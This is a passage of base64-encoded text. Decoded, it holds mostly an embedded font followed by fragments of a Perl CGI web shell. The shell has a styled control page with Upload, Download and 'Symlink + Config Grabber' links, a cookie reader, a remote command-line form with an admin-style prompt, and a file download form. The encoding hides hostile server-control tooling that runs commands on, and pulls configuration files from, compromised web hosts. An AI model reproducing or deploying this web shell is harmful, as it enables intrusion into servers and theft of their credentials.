hQTVBmTjFSc0xqL254K1hBcDNjTUJzc1F6RGlaNVpTYzQ1MVFuT0pmYUNVN1cwQzNsQy9lQ1ErbTVvaDhjTVNqTzh6eGQ0Y2l0aXRTb2ZXVHBjd2txbUUvTjZQS042VTJpUEo4bnIvVXBEaXVXSEFlS0hkRmxsazhtWjdaRnIxVGJvdE82TkI4dktJRVZyRXNvUHVwalZ1L1NKVVQveUYvV3IzbXowTEozWW1CZ1Y4dXViakhWdVMyZGF2RnIzbmxGTi9IRTdtOXVpeGMrSUVkOWpYZDJOZldrSEdvdExmYmtlbGw3a0tsbnZxaWkyOHFVMHVOcU1jaE5yUnJLSWxJRHBiTWVSTDFlZWR5Tm5hZWREckRLQVBUbWVLazNCdFo3Slp4ZktkSzJVbXZ4Q1RqMWdscUhrZGVGeEJXMXVBNVcybVEvUUZ2Y3VXSEZodzh4eWs5cWhWd3BQb09MRG5GbUwxb0w2RTUxSDM4Tkc4bFVjRW9WSmU3MHp4UkxhSnpDa1dYZG4yL3YvL01iUTRGNHRzenZXL25KV3pvenAzUEJwdHFZc2R5NEpGMFg2R3JQZE43V21Wa2p4dGExZnJMN1p1N2Qzb2Z2cUJVNzc4Z21PdGV0OGdaamdXaGFUTFJzN1RqeHFKa1hkQS9yYkhaVFozdW1KU1BXZHF4cDNTaEdPOFgydm9QRGx5eTR6bWd2TitBWjluSmJ6Z3g5WERlMzlBTGQzRlpjMGMzdENlem1sa2o5NGZ1NW9aYSs5cDV1TVZUZTE5alhqZnVSb3N1djVNbm4vMUE4T1U5NWtseU9rdU8xU2FrL05Hc1FxRjg3YS9xcDZiaFcza1NLR0Y3aHpRandKc0tzWVA1VTVVMXNGbStTMDd6SlVONHNCdDRvejdzdDhtWWw4QWFYUzQ0WHFyREtyRWJoVGlnY1VibXpDRU95S25lU3Z4OTNsSVR3dFhjRC9DYTFUM1hYMmhPUSszWXhZZnpPck82QVJSNDEwaDU3YmRpdm5mSm83U3dldFJSNUJPSWpMd1dYWWRYU05DaWRDTG9NTjFLbXJRR21yZUh4MGJoRnByVUQwOWJNWUZxVDhDUXlMU0ttNjFTdUxRT3V0YXd0bHYxU2Z0RmFSZ2MyNVpEU05xbU95bHJWeC9KdVlmZmltdG41MmFzNEc5NXJadklyOC9zZTM1N2RrRkdqOHJ3T00ySE1ha0E0ajZwY1Q4emkrc29wcnNkRXFUa2xod0U5TkFCNldFODVYZ082djZvRzBjTmlCU1hVOERSTHI3Qi9mSjEzT1p5cVUwN1ZpZmwxQ29Cb1JWR3VVbXBHNjRRbnpGcS9JN0dTS3I2VmlRVm00bU81UHpPck9JdmpNMk5nVitYK1hVVVVzbm9XcTROVGtPUXFUTmM0aTJuSDNUTjF3SUZwakZMazl4R3FJNUhmMzd5NmxwUldpZmtHbW9HVW1zWDhjalVYdVg2bTVreUF2MWVuWkIvcmVIbmRyRTEyTTdRcXNudGRuV0I3RWhnZFh1cFl0Wnl5ZW1sNEFWYkx6UTJnZ1RPSjdIL1d6aXp3Q08xclY3QkJUTlhoWDE4eE5YZk4ydllRWnU1Nk5tM3FTYVRUQ2N6UjRUTzJKN2xYdUpmQUhqVXlOekFUVEc0WjRwc2xLWGtsK05SVnlaeWQwS0pwZks2ZHRENloxellzczV0anVDMGRtYjhPUkx5TjhqcHRBb1ZEODc3eU92Z1lTRXJycUlyQm5nL3lqZkNlbnVwRmFBQWpickl2VzBsMXl6cGJ6aFd2VlpST3Jtb0o3UVRxcytVcUZvWHBZL0JXTG9OL0ZZN0R3UVpCWmhiUk5xRTVndzhmNnlhWkVCeEo5cWtORTFQNzltWVVETHZodFZJb0ovcWdXcTFKTmM2c2Vha2hFZm9JODVReWUvV2g1azFObnRxeTllM3hic0ZtMjVIdUhRd0V1OVBFd0JiMjNmR3B4amFYSVpMSStwcTJSaktEdFUyYm1vTEhHOWFHT3NyZFpacG92R2tkR2YySkxSRG14VlppcVIvb1dsWnFFamZzcFJQU1hGZlhYQ2czaGl4SGo4ZkhESGErZEZsVVhMSzhjMnRqM1cxQmIycDNvNnY3UjIyYjFwVGRxL1lGS0R4T2U2bG1wakNDU3orSm1Xd1A3Z3YyNmlaemFlcWZxODFWMGVtSXo4cFFDbFlhV1VYblBLaG1LRVZCc0kxWFI1TnA1SHBReUp0Y2ZxM3lyQ2QvSERSL2NFa1NIdzl2OHRBSElSV2ZjTFpRSzlZNUdjcTBtcUVrQ3pWb2JSN3JkaGMzUzJDT0VuZFJHSHlXaVgrZXYyV3J4OFhGNTZRbzYveSszMUlmanZaQ0JSeUZ2VkRESDk4TnRYcSticWlSLzNvM1ZJU01IOWNSdFFXQjRrSmRVZGtuaTdtay84K01DYkhleDQxcG1DSzhCUWRWb2dZSGltTWFvV09LWUFYQTFjZTBlTDR4UmRVeEFUWlpsUDI5UjRXSTdlT0c1VmZDQ0F1T1M1Z09JNENkVXNaV1I4Y1daN0xNeWF1UERuRkJSc0VGQ1ZDYXEwU3A2bUlSRFN4V0F0S3pCejYrM09BRlZGQ2pBZ2F3YlFvcXFDMmlnbElFdCtNQTA3UUtScE1UR1ZqQWh1VlQwMjgwSzlqQkkxd0xpN2dGQWhFZnh6WE5QRkdKQlZsNHg1VlJpV0xmVmV3QlMvdXp6T203U3J1MEtBMVhaM1JicFdrdzdMRXFlYTZ0d3lvczFibWRWWWRoY2M3YlZQWGQ2Unp2ZjVVKzk3WFJaM2RyNTlMWGl3dHRYZ0picHZLK0NuMGpRSjhQNDIvejBGYytIMzMrWW85YXQvY2FlOVRTck85Y0dwK2xxMlplSWp0bXh0MFVPdXRvZjkwNGRuZWZyOE91RkV2SkhsZ2k0U1FOTjdzdTVzc1YrUy9uNlJiRTJZTVlyK0ljVTVpYUdydkYyRjFGWnczSEZybi8wNDEzdzFkdHd2dlBjOFY4L25hODg4WGRCdFNlN2xWTUd1dEdLdFRJa1pRU2xjZXdyYUJHTzJTa3oxL0ZzaUlQNE5FTWxoV0ZCRnVlMDVYYTBWTGpRbmJCc0ZMWXk4M0RLTHVDZGRsaU13czNBQmthT2tlTFRGdkMyT1p1V2ErbW5RdDBBMzl6cG4yWDM3Z3ErbnJzNlVDOTJCL2RsdjVwN1B1MW53ejFudGpkZDdCUFBPMU50U1dhKzlKT05qVWtEbTRuajAyK1crdHIzVjkvdzkyTm9mclFSdCtmTkxZUHJ0dFUrTWVuTnIxODVvNzJrUlBkdFR1N0VtMzNuZWlJaC9sTXpiZG9MMVBhMjdtUjVyUStON2ZqNnp3SnJXWHp0WUJOWUJSTlRXaVZDSG1OSnhqQkIwTkxCZ3lJVFRXRmxaZWk5K3BZSWlLRzhXQVBzZktxN1B5dFloZEtDYzl1SWR0OUZSOXpibnRaelpINU04SkZHM2hPM1VzL0k2ODZxL1BzSHlLdk91MUpVRml5WUFQYURRaElGbXBDeXo0MmxRLytuMDgzaFI0TDB2MVpDam9XSXB5OFU0d2pLWFNQWEprTG5rWDNIeUlYUElOdUNpNFdKTnlnd0lvRktiODBuUWRXYUc5VTg4RDNGUFBBUmRxeit0OHpEL3lFRlplTlZxMmxxUHJEcElPdjB1MzQ2RlZXVDkyQ25aQzV5THlyNlBMdXFRN0pSZHgxRHV4SU1SZjhPWlZMb1NLWG9yVFRPZWFDM2JOeXdaWFd5WEZISlFaaHZJcE5xZVJwRVEyd2F6eHBySWJqU3VKR1dpcXE2V0VsSit5bEloR0tVcEhBc3UwRlJHSnViRVh0YXpFVFRGM0pxWWVMWnNVenhaYW1LUmcxaDBIYlZLTnlPVk5jcjkyemVoTDFNNjNjS1c2UzlzTHc0WjU2c3lqclM0b2R6T25XeUJJRkVHZ3VTbnhTTm1LLytpUnRzNnMrZVh5QkI3WDNjODJYZjlxVVNUYzJwak5OeFhmeXl0aFk0ZTFVVzFzcTBicWUvWDlUNjllbkVtMDNLR3Z3R2U0Yzl4N2paUllCRmR2VnZQTGk0Z3hWNFJwVU5oejRyTFMvY1V6TkppL0RnSUhhRWlFbVBLRzNPYlZLZjJPejBnNXhNZmEzZG1LbXVRcHp5V1ZNUlkyU1M0WmhadWZOSmxkZmtVN1cyWXViWENOME1nN2QxcjJoUDVIQitXaTZkM2wzZjUrWU9XZXhrN3Y4TjhTR0R1endyNC90T2doZjZVeTBEcldPMXAvWmhwTVJDUTIxampTZTJWcC9TNVM4NDNGTkZCSWV4OFRKN0pab3NRL1ltL1E1STRnWjE4M1hWZGc3WDFkaG45cFZPQ2U0eXFpbmM5WE93cWpsNTNRWGZnNlYrM3dkaHJsL0t1YVRaOUxXK3ArbWJWeHd1VDNJY29zZ2xYMGNpYWpRNTVCSWkydm5wekZaekE4cU5DcVl0bU0rR3N2bm85RmZ6Q203YUxHMTRQYlFCbm9XMnpWUWlpcDhEcWw3Rk0wOUw2MnJabUpiaGQ0aXRyMTdMc1Z6b2EyYVUzYlJuSEw1VkU1WkhjdjRZa3NwSEs5U2psZUpNekV1TnErQzBYeThnQ3lBYmVjTXMyOGVEMjdlTVQ4MEg3YWx2WFZCbmlwaHJjL2JYVGM4MVYyMytuOTVkMTFNV0g5c2gxMFNSQkg5bUQ2NzJpZW9zS285KzJIOERrQWIzZXJ6bXNxS3oydXFVbnYycTRBREU5ak9aQkpSaDE5OWFCT2lEcjlqNnFGTlpaakN0cU42bS9IUUp2dVZEMjJhMGJlLytOeW0ycDBydW8vdXFKdmR1VCs4N3VaMGVzT0t3am5kcytVRlE4RFhOUHJVcml2YjkvZnM2NDZGcXhUN29jeGxIY3psVW1ZbDgvTGMyY1JkOVN0UzhpS1E0MlZKK21ENTRNVjhSSkhTaVBLWVY1am84WlRMQ2RJYlY0N0h4WHhLa2Q1VmY0VDVseU5CSlJZU3g4ZmlnR0Z3MnVSbEsyZy9sLytFWEN5MFZqNVdWczdPWFRzZkl6ZzY5OXdZU09hamQ3alh0UXpvajBXSVoyZ1hJUTlITzJWeXlyTVE1VW9PTzFUbGpXWTdicEV4cWdzTEg0ZGl4c2d3YlNaa01kUENha3M1N1Z0bEFpOGY4VTA1dHR6bDdGbXFzM0d2a0JtN0dwUlR4akQ0SkpCS20rUkg5dkEyUkhvejl0SG9zUHBxVnZJaTg2TnZ1ZXZLeWYzcW5wcmUyc3o1aTZlR0JxT0w5YjZZTGZPWmJJRGRTbHBJaDBHamx2Q2JTSnhjLyt2Zm1WanVKYU8yZGY5M1orUWJJb0J3RzVrVFRDNkVucUUvSmNjeHhKMmtDQUU3ZDJVNHpLRGxWd3NoaktDdHh2amdPaVhuYTZJNVh5eXZFR0RBcTVNWTZVYThhelpOMG94REV2M2prQlpHSmdpeW9STGU2Mnk1VWhmTkdaaUZISThQaUFVMm9HK05TV0Q0a1FkL3RObzJ6cGdYSjlGa1pJUlorM053N1NrNWhCbFBISmpPSXN4dUJ4ZE9VZFJYSDFpenNhbnRzLzd3eHRyMzJNS1gzYkdtdUs5T2RFWDc0eTMzUlVQOTNVMGJHZ0luTEFFeEZJaDZTODNsWWpBUTk1bklnMytYanFacXlVLzZ4ZzkyZGQrMjRUT0ZjbE81UGJ1aks4WDd4L3llam0zOU4zVS9rTi9VOUtkYjZySzMzdGZZT0xxcHZyWi9qMjMzb1NQSytsWHFlM29abm5hbEhacGQ0WU9HdlRvbE93eFlYMDQ3MUNybFB1TnVFOVl2Q2NwcUZjUzhXeW1rOTlQRElXWHAwbkkvZk9TMUE1aEhIU05KazVWRFdGcGZXWDMxSXFHRjF0WVZoVVA3NXRzSk1sOFYwZk5Ycmg5Q0RKb28reDdnQlMxNEJKSldsTGpVVkJzdlhiR05WNGxHYVhjb0U2MUtxYktQZ1NqK21XYjNsRUVuek04MUd6a2YrR0Ura0ZISlRsdjZqcGNaN2VCeGFUV1RLdnJJVzVRR2V2UVpGV1ZZaUkrTGlYWm1rZzJXR1cydDU3aE9QNzlhdWZrQ2tZU1ovUmlaV2QwV21kLy9ISE9JL0l3YlpBZVY1enNxVG9MeXFLT3A1enVpVTNDSS9RWDUyZUhEOEh1Ry9FekRYUFgzQXZ4ZXc5Q2Z3NzBUM0hiMlplMDU4TlVXTXloWjJoSmttZnF3SDJRZ2R2UkNvMkZocUJKbmxBNkJ5SzNwVG04SnNmL0JEWUZ3UzEzQzJsamJuMjFyMTRSclJ3YzZUUHNNUWtVaW92dE1yTE5yQjl4TDVEYXhMMmxQSy9leWkvblM2WHNaWnQ5TDJUK0o5d0lUTUwxTDBzTHFpVGpqTnVLdFl4ditSMlZYRTlyR0ZZVDM3VnV0MXBJc1c3Ritva2lLbzhqeTRncHAwVzZOSTB0RWpscUVDTlFJSTRRalNqREJPREZxcXhZMzlrR1lrSWhTU2lpbXRBVzM5RkJLRDBYNElCa1RSQW1CVUVvZ1VId29EWmdjZXVpaHVBVWZTZytsY1RkOTg5N0syc3BKU3cvTExnTnZaK2J0bTUxNVAvTU4zcGRjbzhxRU9BOU1Ya25mZXJNNENIb3AraDcvSFFyOUgxNlcvK1QxaFluVkxOV1F4bGZ6dUlHYmRCMUc1Z29jak9kVEdvQXdBbmFZWDZXYkp1U242TFFEZGh0ZEl6MXJaM1Zpb0UvYmtqMEYrOVZ0aTBnUmw5ckJVWFlXc2IrWG8vMkUrVWp4bmNWUTVNSjAzSkhPNVBMcE10b3pLT2VBOHZKTDZVdUNrbHE1bkhlc1NjNVFMQ29XazFwcHJuS01RblVvRXgyKzZ1a3dvclJrRFNEUFZJcWtSWFdRam5RSW1uVWcvZGZtNFZjZWRMWGRNdFBCNjJjNjlQZG90SjlRTmdrTHdxTzdKbjBJNFFyK2swZ2Fqd3B6Q3NpZWZzdVEvWjhVa0YvL0RUZTVQemdYaWZIeU1KSmIwU1A1VDZnMHZCUEp2NVRJNzJEclNXZnNMTEp6OUpEQVRrU3BxMjI3ZlZSNkg5MHQvVmZwODI4SFRMTGZpK1JTSnRrWE41MkpnbGdrWWhhWm1LdlNFTzMwSG9YdEplK2pLOWlIdDBqZkp5aVNKN0ZCcXhBemJsMVR0TkYvbVhHRGtjc2RYOS9ZbHd0THVleHlRWllMeTluY1VrSG0zMDFWNXhRNEhwaXVGaFdsV0tVK0tQdjBaM3lmKzliSStTcHgyd01RelhqQ21yYURKVzZFdkg0b29LcVVhaENNZGNSbndqVkRnYXRleGlHc0xSTEpwcDdqVWN6UDJVd3ltWUVMWFNJaDIvUjBNcGxDcGU1VE9aN0x4Wjl4Z1czTDNBci9OZjZNK0JJdlozSWZkcUdMbGp0QUVYbVJqRUtyRHgrdThoTDZhRWJmMHJjdWtMWjUwbmFQdGcxMzI3WjRkVWM0YWs1cm5MUVFEQUFBc3hzZ1RjZzdVRWovYVFlVlVHbEdmMDJ2UXIwUzBvZDNMVFl1Q1lpbUNYb21uOHdvbkhETzFJTUJOei9oSEl4Qnhod1VsNGlRcUhDQUVrNXA0S2xhSjltcFpjdWo5bWt5NllKanlLY3RVUDBsU2YyMFRBUjRJZFgyMkdpaUZjME9HMzl4TW9PbUlwTWFPekxCRUtHdFlXdFlkSHVDeUVjZVREdUc0L0xGZFo1ZjM0aisrczNjTlRVY1c1NjYzZkNnVGI5ZTQzbjB4a205RS9pNFBsdUxqWTErY3ZtSEgwUG84NFk3N2dzbzNzYmU5KzZSaldIUHB6Y2J2a1RBRjNjM3Zyd1I4SDR3UFA3TExsc3ppZktQOGE3d08yY2xNZkF0VnFtNFBUaXNhUVkwWWd1clhUaGpLTDRsZVZXV05DZjIwQkxGYmxubmJaR2lKWXFRTVdkaFdBUUcxdG9ZUlIvWThUS2NXb2lPeHlTYS9BbElwRTVhS0pQbTB6UEhGeUh4QzhXQURDQ1lNRVJJaENkYkk3SVRlNkpvdmJHR3dxTERPV1NyVlJacU5xZkRMcTd4dk1DWFh5MEtBbytGOTY5ZTFXZlJ0ajY3dEZtL2RrN2ZSNzZwYW4xelVhcGNyMDhjSEV6VXIxY2tacDlnTkIzY0laWWpkMDlDMDJLSERIOFUyNm0xc3B2aFk1T3VzQXVhSEJiQTNsS1ErMHZySlo3bHhqbU8xanlBbWdEc0s0YVF4dFF3TDA2Nk5GZnE5VlpuUWZXN0ZYbWxjbmpZNU9QWnVESXpvOFN6L2liVUp1MDhjSHdvaVRkcnJDd3BhbXFaakthZFAvOWtBZDg1dk1pK1YrcnBBVDR3K0Q2WEs1bTRrdkFZcVAwTXRhYk5QekhxdTcxeW5OMWZ1OEphOE1sN3NjbndzTGdoM1BnYjE0dExYd0FBQUhqYVkyQmtBSUl6Wnd6bnJYa2N6Mi96bFVHZUF5VEFjTzZNNmswRS9XOEpDd1BiRWlDWGc0RUpKQW9BbTZZTlNIamFZMkJrWUdCYjhyY0lSRElBQVFzREF5TURLbmdCQUZGY0E3SjQybldUc1V2RFFCVEdYMW9SUittYW9ZTUVCd2NSd1JKRUFpSWRnaFFKUlJ4S2h1SWdMaVZJRWNmZzRCQ2taSEZ3RkJGY0hCeUtGUDhNTjJjUndjbFp4Ty9kZmNWNGFPREg5L0p5ZCsvZGQ1ZmF1MndKbnBsZmVFZGdEbkVMREVBQUl1UnVvSzlrQ0ZMa1ZrQVRIT0w5M09ia2t0OVBRQXpPdUU0T0RpdzYzdE42KzV5aitnZ1MwT0Q0bERvaCt0NERZK1pQbWQ4RUdWZ0hGOVNNN0lBKzhEbHVsVEhtZTdxdkVmaGczWG5rT3RCalVMS25oT1RVa3JYTFN0eGxuRlQwbWZ2V2VRWFlBSXZzTFdhZlY2aDN6M2liM2c5WlYvZlpzYjJhTVFWOWI3UGYzTlpWNzAzdWszNnFSMStJYTZESGZrTDZIZG04OGUrTzU3b0FsdWg5NHg5YVhIZmlNSFlJS3VmZ01xTDJIWHp1djZUdmZ4RTVaekZsNEpCVi9IZEpxWVZEekRreDl4blJjNzMvTC9WRVpQWmFaS3ExTlJIdkZ2Z1dlWUoyb2FrNXUrWVA1bDhRL2gvTEZ0a0R1K1JOYStsY2ZNTzk4TnE2THZzSTZnOG1EaVg4QnVIcVh3WjQybU5nWU5DQnd5cUdMWXd6bUl5WXJqRVhNTTlpUHNMOGdjV0hwWS9sQ01zalZoRldEOVo5clAvWUN0aWVzZHV3ditOSTRsakFxY1k1amZNV2x4cVhEVmNjVnduWEkrNHluaVNlTjd3T3ZGTjRML0N4OFJYeHJlSjd4Sy9FbjhUZkljQWg0Q1V3VCtDRFlJVGdDU0Vub1NLaGJjTEhSR3hFcWtTMmlMd1RsUkwxRTYwUW5TYTZUdlNjV0lEWUdyRi80akhpK3lRQ0pJNUo4a2ptU1Y2UTRwTUtrdG9qOVVmYVQzcU5ESStNaTh3R1dRNVpIOWx0Y3J2a2Zza1h5YTlRRUZFd1VKaWo4RVBoaDZLYjRqWWxGYVU1eWh6S2VzcVBWRlJVenFuNnFlYW9UbEhkcEZhaU5rbnRoYnFaZW84R2g0YUdScFhHTVkwdm1sYWFUWnBYTkw5b1ZXanphVC9SQ2RQMTAvUFFkekhJTXB4a3RNMll6M2lTOFEwVE9aTXNrd2VtYXFZNXB0dk1qTXhXbWV1Wjk1aS9zdkN5dUdXWll0bG14V1VWWWJYQ21zRzZ6dnFRalpUTkZsczcyek4yY2ZZUzloY2NPaHlESEI4NStUaHRjMVp4UHVFaTRaTGhzc2ZWeW5XTG00WGJGTGNQN243dUR6enlQRFo1R25rMmVGN3kwdkphNGEzaDNlZmo1WFBBTjgvM2xaK1FYd3dPbU9WWDRkZm1OODl2bTk4YmZ5WC9DUDlkQVZJQkZRRWJBZ1dBVUM4d0NBalBCSGtFWlFRdENib0ZBR1FibHFNQUFRQUFBT2tBVFFBRkFBQUFBQUFDQUFFQUFnQVdBQUFCQUFIRUFBQUFBSGphblpLN1NnTkJGSWIvM2NSTFVJSVJDUllpVTRpZG00MUcwRlNDUVN6Y1J2RFNiaTdHWUM2eUdSSEJ3bWZ3Q1N4OUFwOUJ3Y3JLSjdIMm45bXppc0ZFQ1VNbTM1enpuOHZPSEFBNXZDRUZKNTBCY005ZnpBN3lQTVhzSW90SDRSUjI4Q1NjeGlvK2hDZXc2Q3dKVDJMRktRbFA0YzQ1Rlo3R3N2TXVuQ0Vuc1RNb3VRdkNzK1I5NFRuazNWdmhITEp1MHM4ODdRL0N6K1NrbnhmNDdpdDIwY01sYmhDaGhTYk9vYUd3RGg5RkxrVnZpQzRWWFhwcjVEWnRCOVRVNFpFTUczdUQvajczT2kxWDVEbzVJbXZtYS9EL0NGVnIxOXdWOW13Ky9TTzZablZGWnZVSDFJRlY5M0JJUlpPV05ydUlobWpVZ0VyaDJIYlNaeDJqVU16dVlXdG9qY0g0LzBRbnNXc2pPd3p0cmZ4K24wWnR2ajZ5OFMzVzA3WnVmSithRk5vYjdWamxCZjJLR2M3K2VKMktQV3ZwUE9BcFpQYkVQOXBycGtCektzb29jRjNiNWRIK0hkT1JDSTkxZXp3Vnhvb1ovNlZQcUtueURwSkppaWNua08rcDBGdXo4N2t0MDF6R0psL083UDdYZkc5OEFvdE9sbHdBZU5wdDBFVnNGSEVVeC9IdmEzZTc3ZGJkS2U0eU05dXA0THR0QjNkM0NyVkZXdGl5dUliaUVnZ0pOd2gyQVlKcklNQUJDRzVCQWh3NDQrRUFYR0hhK1hQakpTK2Z2UC9oOTE3K1JOQlNmOXgwNW4vMXlXNlJDSWtrRWhkdW92QVFUUXhlWW9ram5nUVNTU0taRkZKSkk1ME1Nc2tpbXh4eXlTT2ZWaFRRbWphMHBSM3Q2VUJIT3RtYnV0Q1ZiblNuQnozcGhZYU9nWTlDVElvb3BvUlNldE9IdnZTalB3TVlpSjhBWlpSVGdjVWdCak9Fb1F4ak9DTVl5U2hHTTRheGpHTThFNWpJSkNZemhhbE1Zem96bU1rc1psTXBMbzdTeENadXNKK1BiR1kzT3pqQWNZNkptKzI4WnlQN0pFbzg3SkpvdG5LYkR4TERRVTd3aTUvODVnaW5lTUE5VGpPSHVleWhpa2RVYzUrSFBPTXhUM2hxLzFNTkwzbk9DODVReXcvMjhvWlh2S2FPTDN4akcvTUlNcCtGTEtDZVF6U3dtRVdFYUNUTUVwYXlqTThzWnlVcldNVWFWbk9WdzZ4akxldlp3RmUrYzQyem5PTTZiM2tuWG9tVk9JbVhCRW1VSkVtV0ZFbVZORW1YRE1ua1BCZTR6Qlh1Y0pGTDNHVUxKeVdMbTl5U2JNbGhwK1JLbnVSN3d2VkJUZFBLSFhXbFgxT3FPV0FvZlVwVFdkcXNZUWNvZGFXaDlDa0xsYWF5U0Ztc0xGSCt5L003NmlwWDE3MDF3ZHB3cUxxcXNySE9lVElzUjlOeVZZUkREUzJEYVpVMWF3V2NPMnlOdnc2cm1WUUFBSGphUGN3OUVzRkFIQVh3YkZZMmtjK05DU296TVhSYmFiUWFTWlBHcUxJenptRkdwMUZ5Q2dmNFIrVVNqdUFzUEt6dDN1L05tM2RucnhPeHM5TlFzR2s3eGk2NnE0VnFweVIxUThVVzRhZ25KTlN1ZFlpWEZYRzFKbEZXTi81MDFSY2VJSzRHUGNBN0dQaWYyY01nQVB5aFFSOElzaDhZaGVZMlFodEtWM1c4M29NeEdJMHNFekJlV2FaZ3NyRE13SFJ1S2NGc1pwbURjbXc1QVBQbG41b0s5UWJpQmtxc0FBQUJVcVoxV2dBQSkgZm9ybWF0KCd3b2ZmJyk7DQogICAgZm9udC13ZWlnaHQ6IG5vcm1hbDsNCiAgICBmb250LXN0eWxlOiBub3JtYWw7DQoNCn0NCg0KYm9keSB7DQpmb250LWZhbWlseTogInVidW50dV9tb25vcmVndWxhciI7DQpmb250LXNpemU6MTJweDsNCmJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7DQpiYWNrZ3JvdW5kLWF0dGFjaG1lbnQ6IGZpeGVkOw0KYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIGNlbnRlcjsNCmJhY2tncm91bmQtc2l6ZTogMTAwJSAxMDAlOw0KYmFja2dyb3VuZC1jb2xvcjojMmQyYjJiOw0KY29sb3I6bGltZTsNCmJhY2tncm91bmQtaW1hZ2U6IHVybCgnaHR0cHM6Ly9zdGF0aWMuemVyb2NoYW4ubmV0L0FsbGVuLldhbGtlci5mdWxsLjEwMTIyMTUuanBnJyk7DQp9DQojbmF2e3Bvc2l0aW9uOmZpeGVkO3otaW5kZXg6OTk5O3RvcDowO3dpZHRoOjEwMCU7bGVmdDo3MCU7DQp9DQphLm5hdi1mb2t1cyB7ZGlzcGxheTpibG9jazsgd2lkdGg6YXV0bzsgaGVpZ2h0OmF1dG87IGJhY2tncm91bmQ6IzE5MTkxOTsgYm9yZGVyLXRvcDowcHg7IGJvcmRlci1sZWZ0OiAxcHggc29saWQgI2ZmZjsgYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjZmZmOyAgYm9yZGVyLWJvdHRvbToxcHggc29saWQgI2ZmZjsgIHBhZGRpbmc6NXB4IDhweDsgdGV4dC1hbGlnbjpjZW50ZXI7IHRleHQtZGVjb3JhdGlvbjpub25lOyBjb2xvcjpyZWQ7IGxpbmUtaGVpZ2h0OjIwcHg7IG92ZXJmbG93OmhpZGRlbjsgZmxvYXQ6bGVmdDsNCn0NCmEubmF2LWZva3VzOmhvdmVyIHtjb2xvcjojRkZGRkZGOyBiYWNrZ3JvdW5kOiMxOTE5MTk7IGJvcmRlci10b3A6MHB4OyBib3JkZXItbGVmdDogMXB4IHNvbGlkICNmZmY7IGJvcmRlci1yaWdodDoxcHggc29saWQgI2ZmZjsgIGJvcmRlci1ib3R0b206MXB4IHNvbGlkICNmZmY7DQp9DQppbnB1dFt0eXBlPXRleHRdew0KCWJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyANCgljb2xvcjp3aGl0ZTsNCgltYXJnaW46MCAxMHB4Ow0KCWZvbnQtZmFtaWx5OkhvbWVuYWplOw0KCWZvbnQtc2l6ZToxM3B4Ow0KCWJvcmRlcjpub25lOw0KfQ0KaW5wdXRbdHlwZT1zdWJtaXRdIHsNCgliYWNrZ3JvdW5kOiBibGFjazsgDQoJY29sb3I6d2hpdGU7DQoJbWFyZ2luOjAgMTBweDsNCglmb250LWZhbWlseTpIb21lbmFqZTsNCglmb250LXNpemU6MTNweDsNCglib3JkZXI6bm9uZTsNCg0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIyZDJiMmIiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8ZGl2IGlkPSJuYXYiPg0KPGEgY2xhc3M9Im5hdi1mb2t1cyIgaHJlZj0iJFNjcmlwdExvY2F0aW9uPyI+PGI+SG9tZTwvYj48L2E+DQo8YSBjbGFzcz0ibmF2LWZva3VzIiBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1oZWxwIj48Yj5IZWxwPC9iPjwvYT4NCjxhIGNsYXNzPSJuYXYtZm9rdXMiIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCI+PGI+VXBsb2FkPC9iPjwvYT4NCjxhIGNsYXNzPSJuYXYtZm9rdXMiIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkIj48Yj5Eb3dubG9hZDwvYj48L2E+DQo8YSBjbGFzcz0ibmF2LWZva3VzIiBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1zeW1jb25maWciPjxiPlN5bWxpbmsgKyBDb25maWcgR3JhYmJlcjwvYj48L2E+PC9kaXY+DQo8YnI+DQo8Zm9udCBjb2xvcj0ibGltZSIgc2l6ZT0iMyI+DQpFTkQNCn0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCnByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQpzdWIgR2V0Q29va2llcw0Kew0KQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCmZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQp7DQooJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQokQ29va2llc3skaWR9ID0gJHZhbDsNCn0NCn0NCg0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCiRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KICAgIHByaW50IDw8RU5EOw0KPGNvZGU+DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iPyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCiRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cICI7DQpwcmludCA8PEVORDsNCjxjb2RlPjxjZW50ZXI+PGJyPg0KPGZvbnQgY29sb3I9bGltZT48Yj48aT48Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPS